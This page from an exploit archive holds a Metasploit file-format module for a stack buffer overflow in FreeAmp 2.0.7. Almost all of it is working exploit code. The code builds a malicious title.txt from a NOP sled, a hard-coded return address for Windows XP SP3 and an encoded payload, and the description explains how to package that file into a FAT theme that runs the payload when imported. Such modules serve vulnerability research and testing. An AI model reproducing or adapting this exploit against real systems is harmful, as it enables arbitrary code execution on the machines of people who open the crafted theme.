FreeAmp 2.0.7 .fat Buffer Overflow Exploit (MSF)



EKU-ID: 791 CVE: OSVDB-ID:
Author: James Fitts Published: 2011-08-05 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Freeamp 2.0.7 (FAT File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow vulnerability
     found in Freeamp 2.0.7. The overflow occurs when an
     overly long string is parsed in the FAT file. This
     module creates a txt file that has to be used in the
     creation of a FAT file. The FAT file then has to be
     imported as a theme. To create the FAT file you need
     to first decompress the basic theme template,
     MakeTheme -d freeamp.fat. Next create the new FAT file
     MakeTheme crash.fat theme.xml title.txt *.bmp.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [
           'Ivan Garcia Ferreira', # Initial Discovery
           'James Fitts'  # Metasploit Module
         ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17441' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 EN',
      {
       'Ret' => 0x1220161a, # push esp, ret 04 in download.ui
       'Offset' => 268
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 23 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'title.txt']),
    ], self.class)
 end

 def exploit
  
  txt = make_nops(target['Offset'])
  txt << [target.ret].pack('V')
  txt << make_nops(50)
  txt << payload.encoded
  txt << make_nops(50)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(txt)

 end

end